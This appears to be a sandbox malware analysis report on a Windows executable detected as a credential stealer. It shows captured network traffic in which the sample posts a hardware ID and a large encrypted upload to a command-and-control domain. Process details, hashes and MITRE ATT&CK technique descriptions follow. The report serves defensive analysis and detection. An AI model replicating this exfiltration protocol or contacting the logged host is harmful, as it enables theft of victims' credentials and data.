2024-10-26 21:15:12 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-10-26 21:15:12 UTC	1011	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:15:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jgs79btjdoke8evhkittijlkrb; expires=Wed, 19 Feb 2025 15:01:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RpA3MjI%2Bgw4CfMcbteWkS%2BjsaMkWng54eum1pXKnklkJy4q8eA2x6D9TZo3frzp9UR2lfg5iX9WjJaRsLj%2BjZObUuYOy4DjzmfGoV1IQ1XWIU9F2AHDb4brMSH5y8g2yMB3E"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8d75d928ba466b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1194&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2837&recv_bytes=21534&delivery_rate=2468883&cwnd=251&unsent_bytes=0&cid=218f8e6f2defd20f&ts=678&x=0"
2024-10-26 21:15:12 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 21:15:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	104.21.95.91	443	6464	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 21:15:13 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1250 Host: crisiwarny.store
2024-10-26 21:15:13 UTC	1250	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 42 37 41 45 43 44 43 43 32 37 38 43 44 38 44 42 44 36 38 36 39 31 34 38 39 32 39 42 43 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"7B7AECDCC278CD8DBD6869148929BC77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 21:15:14 UTC	1008	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:15:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5nbbjm8ihupaos2d8vljh2lr92; expires=Wed, 19 Feb 2025 15:01:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xO%2FpbubPLgQLGUWWWoe62oYNtzZiTdp5DT7lNF5bA4jLTTWhytPzN0U9tDs23RfT%2BIzQUqMjEUuz48BKyU3%2BtDBSgRrkFbGOybeBfh9iL8aSWiUMeofZQaKkX21ZYZoOu0Eb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8d75e35df52869-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1328&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2839&recv_bytes=2167&delivery_rate=2215761&cwnd=245&unsent_bytes=0&cid=e8afd4a43c138891&ts=539&x=0"
2024-10-26 21:15:14 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 21:15:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	104.21.95.91	443	6464	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 21:15:15 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 568518 Host: crisiwarny.store
2024-10-26 21:15:15 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 42 37 41 45 43 44 43 43 32 37 38 43 44 38 44 42 44 36 38 36 39 31 34 38 39 32 39 42 43 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"7B7AECDCC278CD8DBD6869148929BC77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 21:15:15 UTC	15331	OUT	Data Raw: 01 65 6a f9 98 46 79 d1 bc c3 17 24 66 5f af f5 ef 77 c0 00 95 f9 da de 82 a5 7a 05 c6 48 39 4b 69 70 24 2c a5 1c 40 00 b1 13 c4 d8 43 29 12 40 69 02 ca 6a 84 33 4f b8 32 5c 85 41 bb 2a 16 e6 e3 60 d9 b6 e8 f0 4c b1 f5 7d 1c 8f 1d e0 b1 ef bc 2d 1a 84 57 74 74 77 63 fb 4c f9 ad fe ff 07 d1 a9 07 00 ad b8 03 cc f1 81 04 53 4a 3e 0b 30 fb f8 60 7e aa d2 a5 cc 88 c8 32 cb c5 de cc 72 7e 88 fb 0f d1 f8 b1 39 83 4b 34 b2 ef b4 81 18 87 64 10 6f e1 90 9a e9 e4 c1 07 9a 15 57 03 4d d1 71 3b 9e 39 95 41 0a 6a 30 65 07 af 44 93 ea bf f5 21 3d 22 f1 13 82 5b bb 65 68 ce 1c 28 76 a4 26 f9 f9 f2 a4 1a 77 4a 2b 89 52 6d 21 4f 1e 82 e5 7a 4b 80 8d 1b 77 ba a4 14 53 74 0e 33 6f 92 b1 dd 1c e0 aa c8 6a 70 16 e5 10 d6 14 6b 7b cd 4d c7 d7 1d 95 28 24 46 16 92 e8 ac 6a ce Data Ascii: ejFy$f_wzH9Kip$,@C)@ij3O2\A*`L}-WttwcLSJ>0`~2r~9K4doWMq;9Aj0eD!="[eh(v&wJ+Rm!OzKwSt3ojpk{M($Fj
2024-10-26 21:15:15 UTC	15331	OUT	Data Raw: 07 6d 7a fb cf b1 bf 72 c7 d6 8b da 4d 80 b1 3a ff 25 34 b9 77 0a 14 13 52 ee 32 c9 a2 36 13 db 31 3d 2e 8d e1 01 a7 32 22 1e 88 ea 0d d7 ba 46 f2 94 30 b0 da 26 75 da 52 4d c4 51 95 ff 6d 52 8d d5 17 cb 67 21 b4 6d 68 5e 6c 6a cd cd 17 9a fe 7d 24 50 1d 09 aa 8c 1a 5d 3f e2 32 e8 6a 6c 26 92 9b ca 08 bf 34 4f 5e 72 b1 80 83 4e 93 f1 3e 89 8b d6 2a d5 89 3b 19 a1 44 d3 67 16 71 47 d0 04 14 3b ad 78 e5 ab c2 7a 9d a4 bb 0a c3 70 52 a9 31 78 1a d5 58 5e 81 78 de e4 7c 13 2f 81 3d 6a c5 89 35 fa 3b 08 2c da 67 33 82 17 5f 7e 39 56 fa db bd b0 ce f2 ec 15 1e 2d f3 cf 9c 6c 86 06 1f 46 92 73 26 81 b7 27 ad bd 5d 11 a1 73 7e 0b fd fd 61 33 73 67 63 b3 e6 df 6b 21 e1 dd b4 5c f7 72 32 8a d0 f6 b4 f6 fb 66 ab 2c f2 3f 75 de 22 58 84 7e db 68 fe 53 14 55 ff c7 c5 Data Ascii: mzrM:%4wR261=.2"F0&uRMQmRg!mh^lj}$P]?2jl&4O^rN>*;DgqG;xzpR1xX^x\|/=j5;,g3_~9V-lFs&']s~a3sgck!\r2f,?u"X~hSU
2024-10-26 21:15:15 UTC	15331	OUT	Data Raw: b3 f4 04 21 58 71 30 2c b6 57 a4 40 7b 44 1a 4c dc 35 0d cf 4e 4d 79 89 9d 19 1c 2f 1d d4 97 8f 09 77 b4 39 54 a1 77 0d 53 0e b4 6b da 0f 47 4a ac 3b 4d 79 31 b4 60 85 ea 4d c6 28 8a e7 26 7a 84 2c 09 96 9d d4 51 0d ba 5e 40 e8 82 88 5b 74 dd d2 53 95 d4 ef 6e 43 2c 9b a9 fc c5 94 bf f5 19 52 6d ba 6f e4 c1 e0 a5 91 42 f2 f9 65 c1 62 43 c6 f0 b7 b2 83 84 da f6 3b df 87 91 0e f9 2b a0 3e ec aa c7 af 21 85 4f c3 99 d5 40 3b 5c 3d 7b 17 9a d6 6a 5d 32 cf d9 74 fa 28 49 03 38 b6 ab a4 c4 63 d2 e3 51 b9 a3 f8 c6 6f 75 35 ef 1d 39 4e 8f 3a 8f 35 95 3e 10 2a 0c 19 f1 cd 94 b8 12 4b b5 a5 c3 6f 5d 1a 2f 57 20 fb 1c 35 1d d5 49 75 ef f8 46 a1 5d 15 f6 48 fe 32 ef d5 d1 b2 c9 f8 41 72 b3 8d 1a e5 54 3b bd c1 a4 1f 12 f1 a1 68 b1 8d 87 36 16 04 18 a3 ef 19 3c 6b be Data Ascii: !Xq0,W@{DL5NMy/w9TwSkGJ;My1`M(&z,Q^@[tSnC,RmoBebC;+>!O@;\={j]2t(I8cQou59N:5>*Ko]/W 5IuF]H2ArT;h6<k
2024-10-26 21:15:15 UTC	15331	OUT	Data Raw: 5c 00 37 3b 57 aa 55 d2 b6 89 d2 4f 40 6b a9 d4 dd 60 2b 45 61 d3 a3 64 50 93 61 bf e2 e5 c9 7c db 77 86 49 c6 e3 ed 38 d1 a9 78 d5 a8 1d 7d e2 83 da eb ed 32 44 7b ae c9 51 0a fb b8 ad 27 b5 af 25 70 92 e6 f3 e5 18 de 77 65 57 97 0a 08 3a a2 9c d6 f1 a4 c1 ac 1c e5 a3 8c 86 b0 0a e4 41 58 e1 0a 80 96 b0 87 58 a2 e0 07 6f db 0f e1 16 62 b0 1b 76 5d 9a 83 ac b1 10 41 8f 44 06 41 d7 dd 55 1a f9 20 0b 60 af 42 39 f4 fb 6d 29 cb 71 ca c3 b3 8a 0f 66 51 ca 2e c3 ec 3c 68 65 af 10 73 97 27 30 c5 5e 1b c1 32 e7 fa ef ee de eb d9 99 2b 5e 79 75 37 26 dd ad 8e 39 9e 23 3a e5 9c 10 2f 16 ec 80 97 91 ed fb 96 04 1f df 8c dd d1 2c b9 e8 a4 47 90 c0 5c 88 75 ec 5b 65 04 fa eb 74 cd db 54 58 39 64 77 82 66 c5 d1 ef 3f 84 13 74 20 5d 53 97 7f 81 f6 06 6a e3 4e cf f8 b7 Data Ascii: \7;WUO@k`+EadPa\|wI8x}2D{Q'%pweW:AXXobv]ADAU `B9m)qfQ.<hes'0^2+^yu7&9#:/,G\u[etTX9dwf?t ]SjN
2024-10-26 21:15:15 UTC	15331	OUT	Data Raw: 47 5a 10 1b cf dd 52 c5 b0 4c f8 ec be d5 32 3a 82 70 85 92 58 04 02 70 f9 21 00 fa 37 c2 dd c3 ae a3 fc 7b 27 98 cd 13 95 65 4f 13 50 e8 d7 1b 4f 11 9f c1 01 9e 11 a0 c9 60 96 c1 ec a1 b9 c7 0e 91 61 36 10 ed 79 79 02 4b f4 27 dc 04 8b 11 8f f6 1e 05 2c 77 9b d0 11 41 10 a8 b7 7e 5f c6 53 be 58 87 00 09 c0 bb 60 0b 84 f5 62 88 b9 23 c5 d2 c2 ad f4 9c 07 e1 4f d7 fd c2 06 05 7d 0f 2f db ce 57 f6 ec 72 93 f8 9b f5 c4 eb ec 58 2b ba d5 0c 7f ff bd 65 1f f0 8e e2 9f c8 51 2b 74 12 01 6e 4a 76 83 60 83 1c 15 20 27 ce 3e ab c8 f8 22 fe 05 f2 8e d2 28 28 93 82 a6 3b 97 64 63 19 3d 25 38 d9 dc 33 88 e1 31 51 6a df fe ee 9d 60 72 44 09 c7 38 2d 21 f1 a7 34 f9 9d 28 f5 04 91 b8 fc 53 aa 5b 04 08 4b 47 df fa 0a c9 5d 2f 70 23 a0 0d fe ce a8 a3 a8 9d 58 d4 48 04 1c Data Ascii: GZRL2:pXp!7{'eOPO`a6yyK',wA~_SX`b#O}/WrX+eQ+tnJv` '>"((;dc=%831Qj`rD8-!4(S[KG]/p#XH
2024-10-26 21:15:15 UTC	15331	OUT	Data Raw: 26 bb 2e bc 9c b2 7f 7d f8 0b f6 67 f1 d2 95 e7 82 0c 36 e7 7d 4e f9 35 aa 88 80 f0 7e e6 da 4b 42 74 cf d9 44 29 d7 b9 b7 4e fb da c3 8b 77 5a d3 57 6f b6 1d c2 5c 76 44 ba b8 cb 89 98 17 2b af 4b f0 71 8c da 5b 78 db 54 b3 ce e7 67 1b 5f ac 2c 5d 2b ae ba ef a2 13 59 75 75 5f d5 6a b7 e3 f7 dd 24 16 cd 69 1c 16 bc 0f d5 3c 09 78 ad f3 fc ad 0f ab 87 ca 74 94 2a b5 fb d2 42 f9 71 77 8b 2c 45 f5 3f a4 cf 83 fe fd ee 96 cc b0 9f af ac 23 57 9d 9e 77 0e e7 48 44 ae be b8 ed 25 08 13 5a 77 66 4e 9e fe e2 60 da ff bd 74 34 d5 5e f2 93 d9 f7 83 19 d9 c3 71 cc d9 2b 91 a6 8c 18 d9 8d af 42 2d c7 17 a2 1b 8a d6 1a de ae 37 ac df 9b 38 e1 f4 4e 38 e4 a9 0d cc b7 dc 1d 83 8a 52 d5 90 ac 66 e2 36 ae c6 15 e2 25 9e 81 94 50 47 68 61 4f c1 b5 8d 53 7e a3 4f aa 72 7c Data Ascii: &.}g6}N5~KBtD)NwZWo\vD+Kq[xTg_,]+Yuu_j$i<xt*Bqw,E?#WwHD%ZwfN`t4^q+B-78N8Rf6%PGhaOS~Or\|
2024-10-26 21:15:15 UTC	15331	OUT	Data Raw: ef d1 46 e5 49 f8 60 13 46 03 3a f5 c6 5d 00 76 f5 12 ae a0 11 41 1e 96 5b 68 ae 09 a3 2b bc d4 70 74 8d a9 3a e8 e8 d9 a8 2e f8 ec b3 3c e1 08 47 0c 7d 3e 5b a4 f1 0e 1c 2b 6b b2 36 5a dd a1 2a 4f c6 76 f0 43 4e 1c 68 6a 2c dd c5 19 58 b5 59 4e 17 06 12 43 b0 df 0e 4a 7b 71 7e 61 d3 13 70 c9 db b0 b5 01 a6 e6 51 5c 11 dd a6 80 26 cb 4a 10 c4 96 a7 f5 05 f3 9d 9b ca 8d c5 d7 22 e6 e7 78 cc 19 11 c9 5b 38 60 26 66 96 d9 5d 43 15 7f 54 77 6e ce c3 b3 01 6b 8a 1b 57 84 f2 34 d0 e3 31 29 7c b3 15 47 14 e5 2f b8 44 6c 9c 53 26 0a fc 18 38 8d 6d ab b7 f6 82 1d b9 7b 23 c9 da 26 5f 7e 5c 51 d0 58 7c ee 09 25 df 22 4c 02 0c 5a 69 7d 70 0c 54 e3 6b 0f c3 58 0d 3b 28 90 83 99 03 fd 65 b1 c6 29 dc 73 cc 8c ab ec bb a6 84 14 4c 50 0c 9d 09 08 ef c9 5e f8 74 53 b5 8e Data Ascii: FI`F:]vA[h+pt:.<G}>[+k6Z*OvCNhj,XYNCJ{q~apQ\&J"x[8`&f]CTwnkW41)\|G/DlS&8m{#&_~\QX\|%"LZi}pTkX;(e)sLP^tS
2024-10-26 21:15:15 UTC	15331	OUT	Data Raw: a2 be 86 88 c7 3c c6 b9 ef 01 d8 85 06 71 20 34 1b 31 9e f8 37 94 c7 f3 81 8f 29 1d e1 58 d3 a5 5c c8 35 86 5a 25 4a dd 25 58 54 c7 c3 b8 e5 93 4d f8 18 be 7c 1c d5 7d 7d fa ae e9 70 62 10 92 a7 d1 9c 75 f3 9a 4c 4b 54 61 42 10 e2 24 63 cc 93 59 74 36 a1 2d 80 b4 f1 2b 2f ad 4b 73 17 a1 f1 b7 65 e9 a7 a1 a8 45 b5 d7 1c 31 ce be a5 38 b9 f4 79 1a 22 3e 6b c4 32 cf cb 23 6f d4 bc 06 85 c3 2d 78 f6 2a 35 e6 75 70 bb 25 89 04 42 08 07 82 9d 97 24 66 a2 32 df 32 7b a0 a2 17 0d ea 88 53 fd 19 a7 05 16 f6 89 ab 8b c7 fc 44 e2 06 65 e5 87 a2 56 fb 0f 78 be c3 9a 2a 10 95 5c 23 e3 23 df f1 0d 57 80 f4 25 db 34 49 a1 96 a2 97 ed 5b 3c 80 1d cc 37 e8 14 9b 0c 6f 6d 12 a5 92 67 d6 ce 80 b6 43 d8 5a 2e c9 f8 d5 d8 88 c7 e2 5a f4 62 2a 48 3f 89 a7 19 a3 97 6c 04 4d 0f Data Ascii: <q 417)X\5Z%J%XTM\|}}pbuLKTaB$cYt6-+/KseE18y">k2#o-x5up%B$f22{SDeVx\##W%4I[<7omgCZ.Zb*H?lM
2024-10-26 21:15:15 UTC	15331	OUT	Data Raw: b8 ba ec 6f 2b c7 ba 73 5a 04 ff 0b 48 8a 8f 42 0e 85 fd 3c 64 3c ff d3 5f 33 16 be 77 98 c0 30 00 74 3f 55 86 13 92 2c 04 79 19 7e de ee 12 13 7e a2 c6 9b 71 0d 03 4b ff 0d ae 3e 89 41 63 eb ee 77 31 1c f5 82 85 80 cb be 58 2d d4 5b 42 69 57 bc 24 d1 08 b1 65 73 e6 75 ee e5 9c 56 48 13 49 7d a5 18 ad e1 43 58 d6 e0 6f 36 20 2d 68 ae 8e 50 24 30 34 40 6c ef 2c a9 1a 32 14 c3 77 6f ff 77 df fa 72 d3 ca ec 36 9e 1a 18 35 a1 3f 34 58 c1 b1 b7 d3 e9 27 01 71 7f ec c2 95 61 fc c6 12 df 5a 05 03 7e 4a 8a 25 78 03 04 ea df 3d 67 40 e7 2e fc fe f0 9f 72 b2 8f eb 56 35 c9 08 b2 11 b2 7c 14 f9 bb 9f 24 1d eb 44 2c 00 c4 dd c2 23 ee a2 4b 78 9e 92 e1 32 17 b7 e1 6f a5 e9 a4 10 73 02 92 6d b8 18 1a fa 44 f8 3f 32 8a b5 37 e6 b2 84 55 ea b0 9d 89 7a 6c 84 11 d6 81 9f Data Ascii: o+sZHB<d<_3w0t?U,y~~qK>Acw1X-[BiW$esuVHI}CXo6 -hP$04@l,2wowr65?4X'qaZ~J%x=g@.rV5\|$D,#Kx2osmD?27Uzl
2024-10-26 21:15:37 UTC	1016	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:15:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9t2j66bplsju33n7u3o1an1smf; expires=Wed, 19 Feb 2025 15:01:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rO1qSuayCQMF2wz3sqInwo%2FwqCSKwt%2BFsLp3noUZaY7VZY1rCdNV%2BgMiAcjtoMJFvX5W470LQZXKvMc3Da1ZtSwAaxBqyWEIcR89jqo3jbriwd5STcEiyRbb7DSgOnJNo8dy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8d75ee4ecb4600-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1104&sent=247&recv=605&lost=0&retrans=0&sent_bytes=2837&recv_bytes=571065&delivery_rate=2567375&cwnd=251&unsent_bytes=0&cid=8c84e7ba36974db1&ts=22038&x=0"

Target ID:	0
Start time:	17:15:01
Start date:	26/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xe20000
File size:	2'992'640 bytes
MD5 hash:	34303AE95155E9F0086D41A36D81CADA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2148812476.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Function 00874BF2 Relevance: 1.9, Strings: 1, Instructions: 684COMMON

Download Yara Rule

Strings

y, xrefs: 00874D5F

Memory Dump Source

Source File: 00000000.00000003.2148812476.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Offset: 00872000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_872000_file.jbxd

Yara matches

Similarity

API ID:
String ID: y
API String ID: 0-4225443349
Opcode ID: 10d155ed24bd1d6d4277654beec764b887783d9450842bb239b309b6a443c23e
Instruction ID: 660f8666160c92945dad51c0652cd3a84f85563727b390184ad82e07429ceef5
Opcode Fuzzy Hash: 10d155ed24bd1d6d4277654beec764b887783d9450842bb239b309b6a443c23e
Instruction Fuzzy Hash: E742FF6144E7D19FD71387B88C68A913FB0AE03224B4E46DBC0D4CF0F7E658985AD7A6

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
